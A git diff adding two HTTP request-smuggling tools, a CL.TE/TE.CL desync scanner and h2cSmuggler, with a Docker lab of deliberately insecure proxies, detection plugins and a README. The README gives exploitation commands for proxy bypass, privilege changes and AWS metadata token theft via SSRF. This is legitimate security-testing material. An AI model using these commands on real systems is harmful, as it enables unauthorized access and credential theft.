%s\n" % \ + (Fore.MAGENTA+ptype, Fore.CYAN+fname+Fore.MAGENTA, Fore.CYAN+self._url)) + with open(fname, 'wb') as file: + file.write(bytes(str(payload),'utf-8')) + + # First lets test TECL + pretty_print(name, "Checking TECL...") + start_time = time.time() + tecl_res = self._check_tecl(te_payload, 0) + tecl_time = time.time()-start_time + + # Next lets test CLTE + pretty_print(name, "Checking CLTE...") + start_time = time.time() + clte_res = self._check_clte(te_payload, 0) + clte_time = time.time()-start_time + + if (clte_res[0] == 1): + # Potential CLTE found + # Lets check the edge case to be sure + clte_res2 = self._check_clte(te_payload, 1) + if clte_res2[0] == 0: + self._attempts += 1 + if (self._attempts < 3): + return self._create_exec_test(name, te_payload) + else: + dismsg = Fore.RED + "Potential CLTE Issue Found" + Fore.MAGENTA + " - " + Fore.CYAN + self._method + Fore.MAGENTA + " @ " + Fore.CYAN + ["http://","https://",][self.ssl_flag]+ self._host + self._endpoint + Fore.MAGENTA + " - " + Fore.CYAN + self._configfile.split('/')[-1] + "\n" + pretty_print(name, dismsg) + + # Write payload out to file + write_payload(self._host, clte_res[2], "CLTE") + self._attempts = 0 + return True + + else: + # No edge behavior found + dismsg = Fore.YELLOW + "CLTE TIMEOUT ON BOTH LENGTH 4 AND 11" + ["\n", ""][self._quiet] + pretty_print(name, dismsg) + + elif (tecl_res[0] == 1): + # Potential TECL found + # Lets check the edge case to be sure + tecl_res2 = self._check_tecl(te_payload, 1) + if tecl_res2[0] == 0: + self._attempts += 1 + if (self._attempts < 3): + return self._create_exec_test(name, te_payload) + else: + #print (str(tecl_res2[2])) + #print (tecl_res2[1]) + dismsg = Fore.RED + "Potential TECL Issue Found" + Fore.MAGENTA + " - " + Fore.CYAN + self._method + Fore.MAGENTA + " @ " + Fore.CYAN + ["http://","https://",][self.ssl_flag]+ self._host + self._endpoint + Fore.MAGENTA + " - " + Fore.CYAN + self._configfile.split('/')[-1] + "\n" + pretty_print(name, dismsg) + + # Write payload out to file + write_payload(self._host, tecl_res[2], "TECL") + self._attempts = 0 + return True + else: + # No edge behavior found + dismsg = Fore.YELLOW + "TECL TIMEOUT ON BOTH LENGTH 6 AND 5" + ["\n", ""][self._quiet] + pretty_print(name, dismsg) + + + #elif ((tecl_res[0] == 1) and (clte_res[0] == 1)): + # # Both types of payloads not supported + # dismsg = Fore.YELLOW + "NOT SUPPORTED" + ["\n", ""][self._quiet] + # pretty_print(name, dismsg) + elif ((tecl_res[0] == -1) or (clte_res[0] == -1)): + # ERROR + dismsg = Fore.YELLOW + "SOCKET ERROR" + ["\n", ""][self._quiet] + pretty_print(name, dismsg) + + elif ((tecl_res[0] == 0) and (clte_res[0] == 0)): + # No Desync Found + tecl_msg = (Fore.MAGENTA + " (TECL: " + Fore.CYAN +"%.2f" + Fore.MAGENTA + " - " + \ + Fore.CYAN +"%s" + Fore.MAGENTA + ")") % (tecl_time, tecl_res[1][9:9+3]) + + clte_msg = (Fore.MAGENTA + " (CLTE: " + Fore.CYAN +"%.2f" + Fore.MAGENTA + " - " + \ + Fore.CYAN +"%s" + Fore.MAGENTA + ")") % (clte_time, clte_res[1][9:9+3]) + + dismsg = Fore.GREEN + "OK" + tecl_msg + clte_msg + ["\n", ""][self._quiet] + pretty_print(name, dismsg) + + elif ((tecl_res[0] == 2) or (clte_res[0] == 2)): + # Disconnected + dismsg = Fore.YELLOW + "DISCONNECTED" + ["\n", ""][self._quiet] + pretty_print(name, dismsg) + + self._attempts = 0 + return False + +def process_uri(uri): + u = urlparse(uri) + + if u.scheme == "https": + ssl_flag = True + std_port = 443 + elif u.scheme == "http": + ssl_flag = False + std_port = 80 + else: + print_info("Error malformed URL not supported: %s" % (Fore.CYAN + uri)) + exit(1) + + if u.port: + return (u.hostname, u.port, u.path, ssl_flag) + else: + return (u.hostname, std_port, u.path, ssl_flag) + +def CF(text): + global NOCOLOR + if NOCOLOR: + ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]') + text = ansi_escape.sub('', text) + return text + +def banner(sm_version): + print(CF(Fore.CYAN)) + print(CF(r" ______ _ ")) + print(CF(r" / _____) | | ")) + print(CF(r"( (____ ____ _ _ ____ ____| | _____ ____ ")) + print(CF(r" \____ \| \| | | |/ _ |/ _ | || ___ |/ ___)")) + print(CF(r" _____) ) | | | |_| ( (_| ( (_| | || ____| | ")) + print(CF(r"(______/|_|_|_|____/ \___ |\___ |\_)_____)_| ")) + print(CF(r" (_____(_____| ")) + print(CF(r"")) + print(CF(r" @defparam %s"%(sm_version))) + print(CF(Style.RESET_ALL)) + +def print_info(msg, file_handle=None): + ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]') + msg = Style.BRIGHT + Fore.MAGENTA + "[%s] %s"%(Fore.CYAN+'+'+Fore.MAGENTA, msg) + Style.RESET_ALL + plaintext = ansi_escape.sub('', msg) + print(CF(msg)) + if file_handle is not None: + file_handle.write(plaintext+"\n") + +if __name__ == "__main__": + global NOCOLOR + if sys.version_info < (3, 0): + print("Error: Smuggler requires Python 3.x") + sys.exit(1) + + Parser = argparse.ArgumentParser() + Parser.add_argument('-u', '--url', help="Target URL with Endpoint") + Parser.add_argument('-v', '--vhost', default="", help="Specify a virtual host") + Parser.add_argument('-x', '--exit_early', action='store_true',help="Exit scan on first finding") + Parser.add_argument('-m', '--method', default="POST", help="HTTP method to use (e.g GET, POST) Default: POST") + Parser.add_argument('-l', '--log', help="Specify a log file") + Parser.add_argument('-q', '--quiet', action='store_true', help="Quiet mode will only log issues found") + Parser.add_argument('-t', '--timeout', default=5.0, help="Socket timeout value Default: 5") + Parser.add_argument('--no-color', action='store_true', help="Suppress color codes") + Parser.add_argument('-c', '--configfile', default="default.py", help="Filepath to the configuration file of payloads") + Args = Parser.parse_args() # returns data from the options specified (echo) + + NOCOLOR = Args.no_color + if os.name == 'nt': + NOCOLOR = True + + Version = "v1.1" + banner(Version) + + if sys.version_info < (3, 0): + print_info("Error: Smuggler requires Python 3.x") + sys.exit(1) + + # If the URL argument is not specified then check stdin + if Args.url is None: + if sys.stdin.isatty(): + print_info("Error: no direct URL or piped URL specified\n") + Parser.print_help() + exit(1) + Servers = sys.stdin.read().split("\n") + else: + Servers = [Args.url + " " + Args.method] + + FileHandle = None + if Args.log is not None: + try: + FileHandle = open(Args.log, "w") + except: + print_info("Error: Issue with log file destination") + print(Parser.print_help()) + sys.exit(1) + + for server in Servers: + # If the next on the list is blank, continue + if server == "": + continue + # Tokenize + server = server.split(" ") + + # This is for the stdin case, if no method was specified default to GET + if len(server) == 1: + server += [Args.method] + + # If a protocol is not specified then default to https + if server[0].lower().strip()[0:4] != "http": + server[0] = "https://" + server[0] + + + host, port, endpoint, SSLFlagval = process_uri(server[0]) + method = server[1].upper() + configfile = Args.configfile + + print_info("URL : %s"%(Fore.CYAN + server[0]), FileHandle) + print_info("Method : %s"%(Fore.CYAN + method), FileHandle) + print_info("Endpoint : %s"%(Fore.CYAN + endpoint), FileHandle) + print_info("Configfile : %s"%(Fore.CYAN + configfile), FileHandle) + print_info("Timeout : %s"%(Fore.CYAN + str(float(Args.timeout)) + Fore.MAGENTA + " seconds"), FileHandle) + + sm = Desyncr(configfile, host, port, url=server[0], method=method, endpoint=endpoint, SSLFlag=SSLFlagval, logh=FileHandle, smargs=Args) + sm.run() + + + if FileHandle is not None: + FileHandle.close() diff --git a/tools/h2csmuggler/.gitignore b/tools/h2csmuggler/.gitignore new file mode 100644 index 000000000..593281013 --- /dev/null +++ b/tools/h2csmuggler/.gitignore @@ -0,0 +1,2 @@ +*.sw* +*.pem diff --git a/tools/h2csmuggler/LICENSE b/tools/h2csmuggler/LICENSE new file mode 100644 index 000000000..0e35fec94 --- /dev/null +++ b/tools/h2csmuggler/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 BishopFox + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/tools/h2csmuggler/README.md b/tools/h2csmuggler/README.md new file mode 100644 index 000000000..5ca950b8c --- /dev/null +++ b/tools/h2csmuggler/README.md @@ -0,0 +1,198 @@ + +# h2cSmuggler + +![License](https://img.shields.io/badge/license-MIT-lightgrey.svg) +![Python version](https://img.shields.io/badge/python-3.x-blue.svg) + +## Description + +h2cSmuggler smuggles HTTP traffic past insecure edge-server `proxy_pass` configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls. +

+ +

+ +See my detailed write-up below for: +* Technical breakdown of the vulnerability +* Insecure-by-default services +* Remediation guidance + +Here: [https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c) + +### How to test? + +Any proxy endpoint that forwards h2c upgrade headers can be affected. Because h2c is intended to be performed only on cleartext channels, detection on HTTPS services often yields true positives. + +By contrast, HTTP services may result in false positives. For example, h2c-enabled proxies may respond to the upgrade instead of forwarding it to an h2c back end. + +Use the `--scan-list` option to test one or more web servers to look for affected `proxy_pass` endpoints. Consider using a list of directories discovered from directory enumeration, such as: + +**urls.txt** +``` +https://www.example.com/ +https://www.example.com/api/ +https://www.example.com/auth/ +https://www.example.com/admin/ +https://www.example.com/payments/ +...omitted for brevity... +``` + +Run h2cSmuggler with the list of endpoints and a total number of threads: + +`./h2csmuggler.py --scan-list urls.txt --threads 5` + +Or, an individual test can be performed with: + +`./h2csmuggler.py -x https://www.example.com/api/ --test` + +#### Detecting with other popular tools: +* [Burp Extension (Active Scan check)](https://github.com/BishopFox/h2csmuggler/blob/master/extensions/BurpExtension/h2cSmugglingCheck.py) +* Nuclei-Template (Coming soon! [Requires this issue to be fixed](https://github.com/projectdiscovery/nuclei/issues/256#issuecomment-679038443)) +### Exploitation + +Once you have identified an affected endpoint that can be used for tunneling, you can now access or brute-force internal endpoints on the back-end server and provide custom verbs or headers. In the [demo below](#test-environment-and-demo), we demonstrate accessing an internal `/flag` endpoint by using h2c smuggling to bypass proxy deny rules. + +To remediate, do not forward user-supplied values for `Upgrade` or `Connection` headers. See the [technical post](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c) for additional guidance. + +## Install Instructions + +The only dependency is the Python hyper-h2 library: +```sh +pip3 install h2 +``` + +### Test Environment and Demo +The test environment will allow you to experiment with h2cSmuggler in a controlled environment. `docker-compose` will simulate three chains of proxies that lead to an h2c-enabled Golang back end: + +``` +TCP port: Description +======== =========== +8000: HTTP h2c backend +8001: HAProxy -> h2c backend (Insecure default configuration) +8002: nginx -> h2c backend (Insecure custom configuration) +8003: Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies) +``` + + +[1] Generate Certificates and spin up the environment with `docker-compose`: +```sh +# Generate certs +./configs/generate-certificates.sh + +# Activate services +docker-compose up +``` + +All of the proxies deny access to the `/flag` endpoint accessible on the h2c back end. Let's attempt to access the forbidden endpoint via the HAProxy server running on port 8001: + + + + +We can use h2cSmuggler to confirm the proxy's insecure configuration using `--test` (or `-t`): + + + +Now, let's use h2cSmuggler to perform an h2c upgrade, tunnel our HTTP/2 traffic through the proxy, and request the `/flag` endpoint from the back end, bypassing the proxy's access control: + + + + +For a deeper explanation of what is happening, check out the [technical writeup](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c). + +### Usage + +h2cSmuggler uses a familiar curl-like syntax for describing the smuggled request: +```sh +usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v] + [url] + +Detect and exploit insecure forwarding of h2c upgrades. + +positional arguments: + url + +optional arguments: + -h, --help show this help message and exit + --scan-list SCAN_LIST + list of URLs for scanning + --threads THREADS # of threads (for use with --scan-list) + --upgrade-only drop HTTP2-Settings from outgoing Connection header + -x PROXY, --proxy PROXY + proxy server to try to bypass + -i WORDLIST, --wordlist WORDLIST + list of paths to bruteforce + -X REQUEST, --request REQUEST + smuggled verb + -d DATA, --data DATA smuggled data + -H HEADER, --header HEADER + smuggled headers + -m MAX_TIME, --max-time MAX_TIME + socket timeout in seconds (type: float; default 10) + -t, --test test a single proxy server + -v, --verbose +``` +### Examples +1\. Scanning a list of URLs (e.g., `https://example.com:443/api/`, `https://example.com:443/payments`, `https://sub.example.com:443/`) to identify `proxy_pass` endpoints that are susceptible to smuggling (be careful with thread counts when testing a single server): + +``` +./h2csmuggler.py --scan-list urls.txt --threads 5 +``` + +Or, to redirect output to a file. Use stderr (`2>`) and stdout (`1>`). The stderr stream contains errors (e.g., SSL handshake/timeout issues), while stdout contains results. + +``` +./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt +``` + +2\. Sending a smuggled POST request past `https://edgeserver` to an internal endpoint: +``` +./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions +``` + +3\. Brute-forcing internal endpoints (using HTTP/2 multiplexing), where `dirs.txt` represents a list of paths (e.g., `/api/`, `/admin/`). +``` +/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/ +``` + +4\. Exploiting `Host` header SSRF over h2c smuggling (e.g., AWS metadata IMDSv2): + +Retrieving the token: +``` +./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token` +``` + +Transmitting the token: +``` +./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/ +``` +5\. Spoofing an IP address with the `X-Forwarded-For` header to access an internal dashboard: +``` +./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard +``` +### FAQ + +**Q: Why are there multiple responses from the server?** + +A: The first response is the data response to the original upgrade request initiated in HTTP/1.1, per the h2c upgrade protocol. The following responses are from the smuggled request. + +**Q: I received a "101 Switching Protocols" but I'm not receiving any data from the remote server.** + +A: I observed this behavior in my tests and found that some servers respond with a 101 status even if they do not actually support HTTP/2. + +**Q: Is establishing an h2c tunnel always a vulnerability?** + +A: No. Consider a TLS-terminating TCP load balancer (e.g., ELB) proxying directly to an h2c-compatible back end. Although you may be able to establish an h2c connection, if there are no access controls being enforced, then there are no access controls to bypass, or privilege gained by initiating this tunnel. + +**Q: Why does the smuggled request URI require a scheme? What is it used for?** + +A: The HTTP/2 protocol requires a `:scheme` psuedo-header. For our use case, `http` vs. `https` likely doesn't matter. For more details, see [HTTP/2 RFC: Section 8.1.2.3](https://http2.github.io/http2-spec/#rfc.section.8.1.2.3). + +**Q: What should I use as the hostname for the back-end server?** + +A: It's best to start with the same hostname as the edge server. Next, try experimenting with alternative hostname values. + + +### Author + +Twitter: [@theBumbleSec](https://twitter.com/theBumbleSec) + +GitHub: [the-bumble](https://github.com/the-bumble/) diff --git a/tools/h2csmuggler/configs/Dockerfile-backend b/tools/h2csmuggler/configs/Dockerfile-backend new file mode 100644 index 000000000..a51061439 --- /dev/null +++ b/tools/h2csmuggler/configs/Dockerfile-backend @@ -0,0 +1,10 @@ +FROM golang:1.14-alpine + +RUN apk add --no-cache git +WORKDIR /go/src/app +COPY demo.go . + +RUN go get -d -v ./... +RUN go install -v ./... + +CMD ["app"] diff --git a/tools/h2csmuggler/configs/generate-certificates.sh b/tools/h2csmuggler/configs/generate-certificates.sh new file mode 100755 index 000000000..8bd619f8c --- /dev/null +++ b/tools/h2csmuggler/configs/generate-certificates.sh @@ -0,0 +1,17 @@ +#!/bin/bash + +if [ $(basename $PWD) == "configs" ]; then + PREFIX="." +else + PREFIX="configs" +fi + +# Delete previous +rm $PREFIX/key.pem $PREFIX/cert.pem $PREFIX/haproxy.pem 2> /dev/null +# Delete empty dirs created by docker-compose +rmdir $PREFIX/key.pem $PREFIX/cert.pem $PREFIX/haproxy.pem 2>/dev/null + +openssl genrsa > $PREFIX/key.pem +openssl req -new -x509 -key $PREFIX/key.pem -out $PREFIX/cert.pem -days 365 -nodes \ + -subj "/C=US/ST=Test/L=Test/O=Test/OU=Test/CN=localhost" +cat $PREFIX/key.pem $PREFIX/cert.pem > $PREFIX/haproxy.pem diff --git a/tools/h2csmuggler/configs/haproxy.cfg b/tools/h2csmuggler/configs/haproxy.cfg new file mode 100644 index 000000000..698a94571 --- /dev/null +++ b/tools/h2csmuggler/configs/haproxy.cfg @@ -0,0 +1,12 @@ +defaults + mode http + timeout connect 5000 + timeout client 10000 + timeout server 10000 +frontend http-in + bind *:80 + bind *:443 ssl crt /tmp/haproxy.pem + default_backend forward_default +backend forward_default + http-request deny if { path -i -m beg /flag } + server s1 backend:80 diff --git a/tools/h2csmuggler/configs/nginx.conf b/tools/h2csmuggler/configs/nginx.conf new file mode 100644 index 000000000..f76012b42 --- /dev/null +++ b/tools/h2csmuggler/configs/nginx.conf @@ -0,0 +1,21 @@ +server { + listen 443 ssl http2; + server_name nginx localhost; + + ssl_certificate /tmp/cert.pem; + ssl_certificate_key /tmp/key.pem; + + access_log /var/log/nginx/access.log; + error_log /var/log/nginx/error.log; + + location / { + proxy_pass http://backend:80/; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection $http_connection; + } + + location /flag { + deny all; + } +} diff --git a/tools/h2csmuggler/configs/nuster.cfg b/tools/h2csmuggler/configs/nuster.cfg new file mode 100644 index 000000000..9ff0c1338 --- /dev/null +++ b/tools/h2csmuggler/configs/nuster.cfg @@ -0,0 +1,14 @@ +global + master-worker # since v3 +defaults + mode http + timeout connect 5000 + timeout client 10000 + timeout server 10000 +frontend fe + bind *:80 + bind *:443 ssl crt /tmp/haproxy.pem + default_backend be1 +backend be1 + http-request deny if { path -i -m beg /flag } + server s1 haproxy:80 diff --git a/tools/h2csmuggler/demo.go b/tools/h2csmuggler/demo.go new file mode 100644 index 000000000..fc40f9962 --- /dev/null +++ b/tools/h2csmuggler/demo.go @@ -0,0 +1,45 @@ +// Lightly modified example from: https://github.com/thrawn01/h2c-golang-example +package main + +import ( + "fmt" + "golang.org/x/net/http2" + "golang.org/x/net/http2/h2c" + "net/http" + "os" +) + +func checkErr(err error, msg string) { + if err == nil { + return + } + fmt.Printf("ERROR: %s: %s\n", msg, err) + os.Exit(1) +} + +func main() { + H2CServerUpgrade() +} + +// This server supports "H2C upgrade" and "H2C prior knowledge" along with +// standard HTTP/2 and HTTP/1.1 that golang natively supports. +func H2CServerUpgrade() { + h2s := &http2.Server{} + + handler := http.NewServeMux() + handler.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %v, http: %v", r.URL.Path, r.TLS == nil) + }) + + handler.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "You got the flag!"); + }) + + server := &http.Server{ + Addr: "0.0.0.0:80", + Handler: h2c.NewHandler(handler, h2s), + } + + fmt.Printf("Listening [0.0.0.0:80]...\n") + checkErr(server.ListenAndServe(), "while listening") +} diff --git a/tools/h2csmuggler/docker-compose.yml b/tools/h2csmuggler/docker-compose.yml new file mode 100644 index 000000000..8969a9d43 --- /dev/null +++ b/tools/h2csmuggler/docker-compose.yml @@ -0,0 +1,46 @@ +version: '3' +services: + backend: + build: + context: . + dockerfile: ./configs/Dockerfile-backend + expose: + - 8000 + ports: + - "8000:80" + haproxy: + image: haproxy:latest + expose: + - 443 + ports: + - "8001:443" + volumes: + - ./configs/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro + - ./configs/haproxy.pem:/tmp/haproxy.pem + links: + - backend + nginx: + image: nginx:latest + expose: + - 443 + ports: + - "8002:443" + volumes: + - ./configs/nginx.conf:/etc/nginx/conf.d/vhost.conf:ro + - ./configs/key.pem:/tmp/key.pem + - ./configs/cert.pem:/tmp/cert.pem + links: + - backend + nuster: + image: nuster/nuster:latest + expose: + - 80 + - 443 + ports: + - "8003:443" + volumes: + - ./configs/nuster.cfg:/etc/nuster/nuster.cfg:ro + - ./configs/haproxy.pem:/tmp/haproxy.pem + links: + - backend + - haproxy diff --git a/tools/h2csmuggler/extensions/BurpExtension/h2cSmugglingCheck.py b/tools/h2csmuggler/extensions/BurpExtension/h2cSmugglingCheck.py new file mode 100644 index 000000000..d5615ebf3 --- /dev/null +++ b/tools/h2csmuggler/extensions/BurpExtension/h2cSmugglingCheck.py @@ -0,0 +1,151 @@ +from burp import IBurpExtender +from burp import IScannerCheck +from burp import IScanIssue + + +class BurpExtender(IBurpExtender, IScannerCheck): + + def registerExtenderCallbacks(self, callbacks): + self._callbacks = callbacks + self._helpers = callbacks.getHelpers() + callbacks.setExtensionName("h2cSmuggler") + callbacks.registerScannerCheck(self) + self.urlLastScanned = None + + def doPassiveScan(self, baseRequestResponse): + return None + + def doActiveScan(self, baseRequestResponse, insertionPoint): + request = baseRequestResponse.getRequest() + requestInfo = self._helpers.analyzeRequest(baseRequestResponse) + body = request[requestInfo.getBodyOffset():] + + # Avoid scanning the same endpoint for multiple insertion points + if self.urlLastScanned == requestInfo.getUrl(): + return None + self.urlLastScanned = requestInfo.getUrl() + + # More likely a false positive for cleartext connections + confidence = "Certain" + if baseRequestResponse.getHttpService().getProtocol != "https": + confidence = "Tentative" + + # Replace headers in original request + headers = requestInfo.getHeaders() + newHeaders = [] + for header in headers: + if header.startswith("Connection") or header.startswith("Upgrade"): + pass + else: + newHeaders.append(header) + newHeaders.append("Upgrade: h2c") + newHeaders.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA") + + # Build Requests + connStr = "Connection: Upgrade, HTTP2-Settings" + h2cRequestOne = self._helpers.buildHttpMessage(newHeaders + [connStr], + body) + + connStr = "Connection: Upgrade" + h2cRequestTwo = self._helpers.buildHttpMessage(newHeaders + [connStr], + body) + + # Send Requests + requestResponseOne = self._callbacks.makeHttpRequest( + baseRequestResponse.getHttpService(), + h2cRequestOne) + requestResponseTwo = self._callbacks.makeHttpRequest( + baseRequestResponse.getHttpService(), + h2cRequestTwo) + + # Analyze responses + responseOneInfo = self._helpers.analyzeResponse( + requestResponseOne.getResponse()) + responseTwoInfo = self._helpers.analyzeResponse( + requestResponseTwo.getResponse()) + + ret = [] + if responseOneInfo.getStatusCode() == 101: + ret.append(CustomScanIssue( + baseRequestResponse.getHttpService(), + requestInfo.getUrl(), + [requestResponseOne], + "HTTP/2 Cleartext (h2c) Upgrade Support Detected", + """Server responded with 101 Switching Protocols. If this + upgrade response is from a backend server behind a proxy, then + intermediary proxy access controls (e.g., path and/or header + restrictions) can be bypassed by using + h2cSmuggler (https://github.com/BishopFox/h2csmuggler).""", + confidence)) + + if responseTwoInfo.getStatusCode() == 101: + ret.append(CustomScanIssue( + baseRequestResponse.getHttpService(), + requestInfo.getUrl(), + [requestResponseTwo], + """"HTTP/2 Cleartext (h2c) Upgrade Support Detected", + Server responded with 101 Switching Protocols. If this + upgrade response is from a backend server behind a proxy, then + intermediary proxy access controls (e.g., path and/or header + restrictions) can be bypassed by using + h2cSmuggler (https://github.com/BishopFox/h2csmuggler). +

This instance did not require a Connection header to + forward the HTTP2-Settings header. + (use h2cSmuggler's --upgrade-only option)""", + confidence)) + + if len(ret) == 0: + return None + + return ret + + def consolidateDuplicateIssues(self, existingIssue, newIssue): + if existingIssue.getUrl() == newIssue.getUrl(): + return -1 + + return 0 + + +class CustomScanIssue (IScanIssue): + + def __init__(self, httpService, url, httpMessages, name, detail, + confidence): + self._httpService = httpService + self._url = url + self._httpMessages = httpMessages + self._name = name + self._detail = detail + self._confidence = confidence + + def getUrl(self): + return self._url + + def getIssueName(self): + return self._name + + def getIssueType(self): + return 0 + + def getSeverity(self): + return "High" + + def getConfidence(self): + return self._confidence + + def getIssueBackground(self): + pass + + def getRemediationBackground(self): + pass + + def getIssueDetail(self): + return self._detail + + def getRemediationDetail(self): + pass + + def getHttpMessages(self): + return self._httpMessages + + def getHttpService(self): + return self._httpService diff --git a/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-nuclei.yaml b/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-nuclei.yaml new file mode 100644 index 000000000..813953c54 --- /dev/null +++ b/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-nuclei.yaml @@ -0,0 +1,33 @@ +############################################################################### +# BROKEN due to: https://github.com/projectdiscovery/nuclei/issues/256 +############################################################################### +id: h2c-smuggling-check + +info: + name: h2cSmuggling Detection + author: Jake Miller (@theBumbleSec) + severity: high + +# 1. Nuclei force adds a "Connection: close" which will break this check. +# 2. Prefer usage on SSL/TLS web services. Using on cleartext services may result +# in a false positive by upgrading the connection to the edge server rather +# than to the backend server. +# 3. Each respective path on the webserver may result in a distinct proxypass. +# Some may be vulnerable while other might not. + +requests: + - method: GET + path: + - "{{BaseURL}}" + headers: + Connection: + "Upgrade, HTTP2-Settings" + Upgrade: + "h2c" + HTTP2-Settings: + "AAMAAABkAARAAAAAAAIAAAAA" + matchers-condition: and + matchers: + - type: status + status: + - 101 diff --git a/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-upgrade-only-nuclei.yaml b/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-upgrade-only-nuclei.yaml new file mode 100644 index 000000000..ec27d0808 --- /dev/null +++ b/tools/h2csmuggler/extensions/nuclei-template/h2csmuggle-upgrade-only-nuclei.yaml @@ -0,0 +1,33 @@ +############################################################################### +# BROKEN due to: https://github.com/projectdiscovery/nuclei/issues/256 +############################################################################### +id: h2c-smuggling-check + +info: + name: h2cSmuggling Detection + author: Jake Miller (@theBumbleSec) + severity: high + +# 1. Nuclei force adds a "Connection: close" which will break this check. +# 2. Prefer usage on SSL/TLS web services. Using on cleartext services may result +# in a false positive by upgrading the connection to the edge server rather +# than to the backend server. +# 3. Each respective path on the webserver may result in a distinct proxypass. +# Some may be vulnerable while other might not. + +requests: + - method: GET + path: + - "{{BaseURL}}" + headers: + Connection: + "Upgrade" + Upgrade: + "h2c" + HTTP2-Settings: + "AAMAAABkAARAAAAAAAIAAAAA" + matchers-condition: and + matchers: + - type: status + status: + - 101 diff --git a/tools/h2csmuggler/h2csmuggler.py b/tools/h2csmuggler/h2csmuggler.py new file mode 100755 index 000000000..01da17751 --- /dev/null +++ b/tools/h2csmuggler/h2csmuggler.py @@ -0,0 +1,378 @@ +#!/usr/bin/env python3 +import h2.connection +from h2.events import ( + ResponseReceived, DataReceived, StreamReset, StreamEnded +) + +import argparse +import multiprocessing.dummy as mp +import socket +import ssl +import sys +from urllib.parse import urlparse, urljoin + +MAX_TIMEOUT = 10 +UPGRADE_ONLY = False + + +def handle_events(events, isVerbose): + for event in events: + if isinstance(event, ResponseReceived): + handle_response(event.headers, event.stream_id) + elif isinstance(event, DataReceived): + print(event.data.decode('utf-8', 'replace')) + print("") + elif isinstance(event, StreamReset): + raise RuntimeError("stream reset: %d" % event.error_code) + else: + if isVerbose: + print("[INFO] " + str(event)) + + +def handle_response(response_headers, stream_id): + for name, value in response_headers: + print("%s: %s" % (name.decode('utf-8'), value.decode('utf-8'))) + + print("") + + +def establish_tcp_connection(proxy_url): + global MAX_TIMEOUT + + port = proxy_url.port or (80 if proxy_url.scheme == "http" else 443) + connect_args = (proxy_url.hostname, int(port)) + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + retSock = sock + if proxy_url.scheme == "https": + retSock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS) + + retSock.settimeout(MAX_TIMEOUT) + retSock.connect(connect_args) + + return retSock + + +def send_initial_request(connection, proxy_url, settings): + global UPGRADE_ONLY + path = proxy_url.path or "/" + + addl_conn_str = b", HTTP2-Settings" + if UPGRADE_ONLY: + addl_conn_str = b"" + + request = ( + b"GET " + path.encode('utf-8') + b" HTTP/1.1\r\n" + + b"Host: " + proxy_url.hostname.encode('utf-8') + b"\r\n" + + b"Accept: */*\r\n" + + b"Accept-Language: en\r\n" + + b"Upgrade: h2c\r\n" + + # b"HTTP2-Settings: " + settings + b"\r\n" + + # + # hyper-h2 base64-encoded settings contain '_' chars, which although + # allowed by spec triggered errors on some faulty h2c implementatons. + b"HTTP2-Settings: " + b"AAMAAABkAARAAAAAAAIAAAAA" + b"\r\n" + + b"Connection: Upgrade" + addl_conn_str + b"\r\n" + + b"\r\n" + ) + connection.sendall(request) + + +def get_upgrade_response(connection, proxy_url): + data = b'' + while b'\r\n\r\n' not in data: + data += connection.recv(8192) + + headers, rest = data.split(b'\r\n\r\n', 1) + + # An upgrade response begins HTTP/1.1 101 Switching Protocols. + split_headers = headers.split() + if split_headers[1] != b'101': + 